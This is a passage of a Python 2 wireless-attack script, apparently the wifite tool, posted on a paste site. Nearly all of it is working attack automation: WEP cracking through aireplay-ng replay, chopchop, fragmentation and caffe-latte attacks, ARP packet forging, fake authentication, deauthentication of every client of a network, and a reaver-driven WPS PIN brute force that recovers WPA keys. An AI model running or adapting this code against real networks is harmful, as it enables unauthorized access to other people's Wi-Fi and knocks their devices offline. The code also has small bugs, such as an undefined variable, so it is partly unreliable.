  2237.                     send_interrupt(proc_airodump)
  2238.                     send_interrupt(proc_aireplay)
  2239.                     try: os.kill(proc_aireplay, SIGTERM)
  2240.                     except: pass
  2241.                     send_interrupt(proc_aircrack)
  2242.                     # Remove files generated by airodump/aireplay/packetforce
  2243.                     time.sleep(0.5)
  2244.                     remove_airodump_files(temp + 'wep')
  2245.                     remove_file(temp + 'wepkey.txt')
  2246.                     return True
  2247.                
  2248.                 # Check if aireplay is still executing
  2249.                 if proc_aireplay.poll() == None:
  2250.                     if replaying: print ', '+G+'replaying         \r'+W,
  2251.                     elif attack_num == 1 or attack_num == 2: print ', waiting for packet    \r',
  2252.                     stdout.flush()
  2253.                     continue
  2254.                
  2255.                 # At this point, aireplay has stopped
  2256.                 if attack_num != 1 and attack_num != 2:
  2257.                     print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R+current_hms, O, W)
  2258.                     break # Break out of attack's While loop
  2259.                
  2260.                 # Check for a .XOR file (we expect one when doing chopchop/fragmentation
  2261.                 xor_file = ''
  2262.                 for filename in os.listdir(temp):
  2263.                     if filename.lower().endswith('.xor'): xor_file = temp + filename
  2264.                 if xor_file == '':
  2265.                     print '\r %s attack failed: %sunable to generate keystream        %s' % (R+current_hms, O, W)
  2266.                     break
  2267.                
  2268.                 remove_file(temp + 'arp.cap')
  2269.                 cmd = ['packetforge-ng',
  2270.                          '-0',
  2271.                          '-a', targets.bssid,
  2272.                          '-h', client_mac,
  2273.                          '-k', '192.168.1.2',
  2274.                          '-l', '192.168.1.100',
  2275.                          '-y', xor_file,
  2276.                          '-w', temp + 'arp.cap',
  2277.                          iface]
  2278.                 proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)
  2279.                 proc_pforge.wait()
  2280.                 forged_packet = proc_pforge.communicate()[0]
  2281.                 remove_file(xor_file)
  2282.                 if forged_packet == None: result = ''
  2283.                 forged_packet = forged_packet.strip()
  2284.                 if not forged_packet.find('Wrote packet'):
  2285.                     print "\r %s attack failed: unable to forget ARP packet               %s" % (R+current_hms+O, w)
  2286.                     break
  2287.                
  2288.                 # We were able to forge a packet, so let's replay it via aireplay-ng
  2289.                 cmd = ['aireplay-ng',
  2290.                        '--arpreplay',
  2291.                        '-b', target.bssid,
  2292.                        '-r', temp + 'arp.cap', # Used the forged ARP packet
  2293.                        '-F', # Select the first packet
  2294.                        iface]
  2295.                 proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2296.                
  2297.                 print '\r %s forged %s! %s...         ' % (GR+current_hms+W, G+'arp packet'+W, G+'replaying'+W)
  2298.                 replaying = True
  2299.            
  2300.        
  2301.         # After the attacks, if we are already cracking, wait for the key to be found!
  2302.         while ivs > WEP_CRACK_AT_IVS:
  2303.             time.sleep(5)
  2304.             # Check number of IVs captured
  2305.             csv = parse_csv(temp + 'wep-01.csv')[0]
  2306.             if len(csv) > 0:
  2307.                 ivs = int(csv[0].data)
  2308.                 print GR+" [endless]"+W+" captured %s%d%s ivs, iv/sec: %s%d%s  \r" % (G, ivs, W, G, (ivs - last_ivs) / 5, W),
  2309.                 last_ivs = ivs
  2310.                 stdout.flush()
  2311.            
  2312.             # Check if key has been cracked yet.
  2313.             if os.path.exists(temp + 'wepkey.txt'):
  2314.                 # Cracked!
  2315.                 infile = open(temp + 'wepkey.txt', 'r')
  2316.                 key = infile.read().replace('\n', '')
  2317.                 infile.close()
  2318.                 print GR+'\n\n [endless] %s %s (%s)! key: "%s"' % (G+'cracked', target.ssid+W, G+target.bssid+W, C+key+W)
  2319.                 WEP_FINDINGS.append('cracked %s (%s), key: "%s"' % (target.ssid, target.bssid, key))
  2320.                 WEP_FINDINGS.append('')
  2321.                
  2322.                 save_cracked(target.bssid, target.ssid, key, 'WEP')
  2323.  
  2324.                 # Kill processes
  2325.                 send_interrupt(proc_airodump)
  2326.                 send_interrupt(proc_aireplay)
  2327.                 send_interrupt(proc_aircrack)
  2328.                 # Remove files generated by airodump/aireplay/packetforce
  2329.                 remove_airodump_files(temp + 'wep')
  2330.                 remove_file(temp + 'wepkey.txt')
  2331.                 return True
  2332.        
  2333.     except KeyboardInterrupt:
  2334.         print R+'\n (^C)'+O+' WEP attack interrupted'+W
  2335.        
  2336.         if WEP_SAVE:
  2337.             # Save packets
  2338.             save_as = re.sub(r'[^a-zA-Z0-9]', '', target.ssid) + '_' + target.bssid.replace(':', '-') + '.cap'+W
  2339.             try:            rename(temp + 'wep-01.cap', save_as)
  2340.             except OSError: print R+' [!]'+O+' unable to save capture file!'+W
  2341.             else:           print GR+' [+]'+W+' packet capture '+G+'saved'+W+' to '+G+save_as+W
  2342.  
  2343.         if attack_interrupted_prompt():
  2344.             send_interrupt(proc_airodump)
  2345.             if proc_aireplay != None:
  2346.                 send_interrupt(proc_aireplay)
  2347.            
  2348.             # Remove files generated by airodump/aireplay/packetforce
  2349.             for filename in os.listdir('.'):
  2350.                 if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  2351.                     remove_file(filename)
  2352.             remove_airodump_files(temp + 'wep')
  2353.             remove_file(temp + 'wepkey.txt')
  2354.             print ''
  2355.             exit_gracefully(0)
  2356.                
  2357.            
  2358.        
  2359.     if successful:
  2360.         print GR+'\n [0:00:00]'+W+' attack complete: '+G+'success!'+W
  2361.     else:
  2362.         print GR+'\n [0:00:00]'+W+' attack complete: '+R+'failure'+W
  2363.    
  2364.     send_interrupt(proc_airodump)
  2365.     if proc_aireplay != None:
  2366.         send_interrupt(proc_aireplay)
  2367.    
  2368.     # Remove files generated by airodump/aireplay/packetforce
  2369.     for filename in os.listdir('.'):
  2370.         if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  2371.             remove_file(filename)
  2372.     remove_airodump_files(temp + 'wep')
  2373.     remove_file(temp + 'wepkey.txt')
  2374.  
  2375.  
  2376. def wep_fake_auth(iface, target, time_to_display):
  2377.     """
  2378.         Attempt to (falsely) authenticate with a WEP access point.
  2379.         Gives 3 seconds to make each 5 authentication attempts.
  2380.         Returns True if authentication was successful, False otherwise.
  2381.     """
  2382.     max_wait = 3 # Time, in seconds, to allow each fake authentication
  2383.     max_attempts = 5 # Number of attempts to make
  2384.    
  2385.     for fa_index in xrange(1, max_attempts + 1):
  2386.         print '\r                                                            ',
  2387.         print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \
  2388.                (GR+time_to_display+W, G, W, fa_index, max_attempts),
  2389.         stdout.flush()
  2390.        
  2391.         cmd = ['aireplay-ng',
  2392.                '-1', '0', # Fake auth, no delay
  2393.                '-a', target.bssid,
  2394.                '-T', '1'] # Make 1 attempt
  2395.         if target.ssid != '':
  2396.             cmd.append('-e')
  2397.             cmd.append(target.ssid)
  2398.         cmd.append(iface)
  2399.        
  2400.         proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
  2401.         started = time.time()
  2402.         while proc_fakeauth.poll() == None and time.time() - started <= max_wait: pass
  2403.         if time.time() - started > max_wait:
  2404.             send_interrupt(proc_fakeauth)
  2405.             print R+'failed'+W,
  2406.             stdout.flush()
  2407.             time.sleep(0.5)
  2408.             continue
  2409.        
  2410.         result = proc_fakeauth.communicate()[0].lower()
  2411.         if result.find('switching to shared key') != -1 or \
  2412.              result.find('rejects open system'): pass
  2413.              # TODO Shared Key Authentication (SKA)
  2414.         if result.find('association successful') != -1:
  2415.             print G+'success!'+W
  2416.             return True
  2417.        
  2418.         print R+'failed'+W,
  2419.         stdout.flush()
  2420.         time.sleep(0.5)
  2421.         continue
  2422.     print ''
  2423.     return False
  2424.    
  2425.  
  2426. def get_aireplay_command(iface, attack_num, target, clients, client_mac):
  2427.     """
  2428.         Returns aireplay-ng command line arguments based on parameters.
  2429.     """
  2430.     cmd = ''
  2431.     if attack_num == 0:
  2432.         cmd = ['aireplay-ng',
  2433.                '--arpreplay',
  2434.                '-b', target.bssid,
  2435.                '-x', str(WEP_PPS)] # Packets per second
  2436.         if client_mac != '':
  2437.             cmd.append('-h')
  2438.             cmd.append(client_mac)
  2439.         elif len(clients) > 0:
  2440.             cmd.append('-h')
  2441.             cmd.append(clients[0].bssid)
  2442.         cmd.append(iface)
  2443.        
  2444.     elif attack_num == 1:
  2445.         cmd = ['aireplay-ng',
  2446.                '--chopchop',
  2447.                '-b', target.bssid,
  2448.                '-x', str(WEP_PPS), # Packets per second
  2449.                '-m', '60', # Minimum packet length (bytes)
  2450.                '-n', '82', # Maxmimum packet length
  2451.                '-F'] # Automatically choose the first packet
  2452.         if client_mac != '':
  2453.             cmd.append('-h')
  2454.             cmd.append(client_mac)
  2455.         elif len(clients) > 0:
  2456.             cmd.append('-h')
  2457.             cmd.append(clients[0].bssid)
  2458.         cmd.append(iface)
  2459.        
  2460.     elif attack_num == 2:
  2461.         cmd = ['aireplay-ng',
  2462.                '--fragment',
  2463.                '-b', target.bssid,
  2464.                '-x', str(WEP_PPS), # Packets per second
  2465.                '-m', '100', # Minimum packet length (bytes)
  2466.                '-F'] # Automatically choose the first packet
  2467.         if client_mac != '':
  2468.             cmd.append('-h')
  2469.             cmd.append(client_mac)
  2470.         elif len(clients) > 0:
  2471.             cmd.append('-h')
  2472.             cmd.append(clients[0].bssid)
  2473.         cmd.append(iface)
  2474.    
  2475.     elif attack_num == 3:
  2476.         cmd = ['aireplay-ng',
  2477.                '--caffe-latte',
  2478.                '-b', target.bssid]
  2479.         if len(clients) > 0:
  2480.             cmd.append('-h')
  2481.             cmd.append(clients[0].bssid)
  2482.         cmd.append(iface)
  2483.        
  2484.     elif attack_num == 4:
  2485.         cmd = ['aireplay-ng',
  2486.                '--interactive',
  2487.                '-b', target.bssid,
  2488.                '-c', 'ff:ff:ff:ff:ff:ff',
  2489.                '-t', '1', # Only select packets with ToDS bit set
  2490.                '-x', str(WEP_PPS), # Packets per second
  2491.                '-F',      # Automatically choose the first packet
  2492.                '-p', '0841']
  2493.         cmd.append(iface)
  2494.    
  2495.     elif attack_num == 5:
  2496.         if len(clients) == 0:
  2497.             print R+' [0:00:00] unable to carry out hirte attack: '+O+'no clients'
  2498.             return ''
  2499.         cmd = ['aireplay-ng',
  2500.                '--cfrag',
  2501.                '-h', clients[0].bssid,
  2502.                iface]
  2503.        
  2504.     return cmd
  2505.  
  2506.  
  2507. def wep_send_deauths(iface, target, clients):
  2508.     """
  2509.         Sends deauth packets to broadcast and every client.
  2510.     """
  2511.     # Send deauth to broadcast
  2512.     cmd = ['aireplay-ng',
  2513.            '--deauth', '1',
  2514.            '-a', target.bssid,
  2515.            iface]
  2516.     call(cmd, stdout=DN, stderr=DN)
  2517.     # Send deauth to every client
  2518.     for client in clients:
  2519.         cmd = ['aireplay-ng',
  2520.                  '--deauth', '1',
  2521.                  '-a', target.bssid,
  2522.                  '-h', client.bssid,
  2523.                  iface]
  2524.         call(cmd, stdout=DN, stderr=DN)
  2525.  
  2526.  
  2527.  
  2528.  
  2529.  
  2530.  
  2531.  
  2532.  
  2533.  
  2534.  
  2535. #################
  2536. # WPS FUNCTIONS #
  2537. #################
  2538.  
  2539.  
  2540. def wps_attack(iface, target):
  2541.     """
  2542.         Mounts attack against target on iface.
  2543.         Uses "reaver" to attempt to brute force the PIN.
  2544.         Once PIN is found, PSK can be recovered.
  2545.         PSK is displayed to user and added to WPS_FINDINGS
  2546.     """
  2547.    
  2548.     print GR+' [0:00:00]'+W+' initializing %sWPS PIN attack%s on %s' % \
  2549.                  (G, W, G+target.ssid+W+' ('+G+target.bssid+W+')'+W)
  2550.    
  2551.     cmd = ['reaver',
  2552.            '-i', iface,
  2553.            '-b', target.bssid,
  2554.            '-o', temp + 'out.out', # Dump output to file to be monitored
  2555.            '-a',  # auto-detect best options, auto-resumes sessions, doesn't require input!
  2556.            '-c', target.channel,
  2557.            # '--ignore-locks',
  2558.            '-vv']  # verbose output
  2559.     proc = Popen(cmd, stdout=DN, stderr=DN)
  2560.    
  2561.     cracked = False   # Flag for when password/pin is found
  2562.     percent = 'x.xx%' # Percentage complete
  2563.     aps     = 'x'     # Seconds per attempt
  2564.     time_started = time.time()
  2565.     last_success = time_started # Time of last successful attempt
  2566.     last_pin = ''     # Keep track of last pin tried (to detect retries)
  2567.     retries  = 0      # Number of times we have attempted this PIN
  2568.     tries_total = 0      # Number of times we have attempted all pins
  2569.     tries    = 0      # Number of successful attempts
  2570.     pin = ''
  2571.     key = ''
  2572.    
  2573.     try:
  2574.         while not cracked:
  2575.             time.sleep(1)
  2576.            
  2577.             if proc.poll() != None:
  2578.                 # Process stopped: Cracked? Failed?
  2579.                 inf = open(temp + 'out.out', 'r')
  2580.                 lines = inf.read().split('\n')
  2581.                 inf.close()
  2582.                 for line in lines:
  2583.                     # When it's cracked:
  2584.                     if line.find("WPS PIN: '") != -1:
  2585.                         pin = line[line.find("WPS PIN: '") + 10:-1]
  2586.                     if line.find("WPA PSK: '") != -1:
  2587.                         key = line[line.find("WPA PSK: '") + 10:-1]
  2588.                         cracked = True
  2589.                 break
  2590.  
  2591.             if not os.path.exists(temp + 'out.out'): continue
  2592.            
  2593.             inf = open(temp + 'out.out', 'r')
  2594.             lines = inf.read().split('\n')
  2595.             inf.close()
  2596.            
  2597.             for line in lines:
  2598.                 if line.strip() == '': continue
  2599.                 # Status
  2600.                 if line.find(' complete @ ') != -1 and len(line) > 8:
  2601.                     percent = line.split(' ')[1]
  2602.                     i = line.find(' (')
  2603.                     j = line.find(' seconds/', i)
  2604.                     if i != -1 and j != -1: aps = line[i+2:j]
  2605.                 # PIN attempt
  2606.                 elif line.find(' Trying pin ') != -1:
  2607.                     pin = line.strip().split(' ')[-1]
  2608.                     if pin == last_pin:
  2609.                         retries += 1
  2610.                     elif tries_total == 0:
  2611.                         last_pin = pin
  2612.                         tries_total -= 1
  2613.                     else:
  2614.                         last_success = time.time()
  2615.                         tries += 1
  2616.                         last_pin = pin
  2617.                         retries = 0
  2618.                     tries_total += 1
  2619.                    
  2620.                 # Warning
  2621.                 elif line.endswith('10 failed connections in a row'): pass
  2622.                
  2623.                 # Check for PIN/PSK
  2624.                 elif line.find("WPS PIN: '") != -1:
  2625.                     pin = line[line.find("WPS PIN: '") + 10:-1]
  2626.                 elif line.find("WPA PSK: '") != -1:
  2627.                     key = line[line.find("WPA PSK: '") + 10:-1]
  2628.                     cracked = True
  2629.                 if cracked: break
  2630.            
  2631.             print ' %s WPS attack, %s success/ttl,' % \
  2632.                                     (GR+sec_to_hms(time.time()-time_started)+W, \
  2633.                                     G+str(tries)+W+'/'+O+str(tries_total)+W),
  2634.            
  2635.             if percent == 'x.xx%' and aps == 'x': print '\r',
  2636.             else:
  2637.                 print '%s complete (%s sec/att)   \r' % (G+percent+W, G+aps+W),
  2638.            
  2639.            
  2640.             if WPS_TIMEOUT > 0 and (time.time() - last_success) > WPS_TIMEOUT:
  2641.                 print R+'\n [!]'+O+' unable to complete successful try in %d seconds' % (WPS_TIMEOUT)
  2642.                 print R+' [+]'+W+' skipping %s' % (O+target.ssid+W)
  2643.                 break
  2644.            
  2645.             if WPS_MAX_RETRIES > 0 and retries > WPS_MAX_RETRIES:
  2646.                 print R+'\n [!]'+O+' unable to complete successful try in %d retries' % (WPS_MAX_RETRIES)
  2647.                 print R+' [+]'+O+' the access point may have WPS-locking enabled, or is too far away'+W
  2648.                 print R+' [+]'+W+' skipping %s' % (O+target.ssid+W)
  2649.                 break
  2650.                
  2651.             if WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and (float(tries) / tries_total) < WPS_RATIO_THRESHOLD:
  2652.                 print R+'\n [!]'+O+' successful/total attempts ratio was too low (< %.2f)' % (WPS_RATIO_THRESHOLD)
  2653.                 print R+' [+]'+W+' skipping %s' % (G+target.ssid+W)
  2654.                 break
  2655.                
  2656.             stdout.flush()
  2657.             # Clear out output file if bigger than 1mb
  2658.             inf = open(temp + 'out.out', 'w')
  2659.             inf.close()
  2660.        
  2661.         # End of big "while not cracked" loop
  2662.        
  2663.         if cracked:
  2664.             if pin != '': print GR+'\n\n [+]'+G+' PIN found:     %s' % (C+pin+W)
  2665.             if key != '': print GR+' [+] %sWPA key found:%s %s' % (G, W, C+key+W)
  2666.             WPA_FINDINGS.append(W+"found %s's WPA key: \"%s\", WPS PIN: %s" % (G+target.ssid+W, C+key+W, C+pin+W))
  2667.             WPA_FINDINGS.append('')
  2668.            
  2669.             save_cracked(target.bssid, target.ssid, "Key is '" + key + "' and PIN is '" + pin + "'", 'WPA')
  2670.        
  2671.     except KeyboardInterrupt:
  2672.         print R+'\n (^C)'+O+' WPS brute-force attack interrupted'+W
  2673.         if attack_interrupted_prompt():
  2674.             send_interrupt(proc)
  2675.             print ''
  2676.             exit_gracefully(0)
  2677.    
  2678.     send_interrupt(proc)
  2679.    
  2680.     return cracked
  2681.  
  2682.  
  2683.  
  2684. #c = CapFile('hs/KillfuckSoulshitter_C0-C1-C0-07-54-DC_2.cap', 'Killfuck Soulshitter', 'c0:c1:c0:07:54:dc')
  2685. #WPA_CRACKER = 'aircrack'
  2686. #cracked = wpa_crack(c)
  2687. #print cracked
  2688. #exit_gracefully(1)
  2689.  
  2690.  
  2691. if __name__ == '__main__':
  2692.     try:
  2693.         banner()
  2694.         main()
  2695.     except KeyboardInterrupt: print R+'\n (^C)'+O+' interrupted\n'+W
  2696.     except EOFError:          print R+'\n (^D)'+O+' interrupted\n'+W
  2697.    
  2698.     exit_gracefully(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement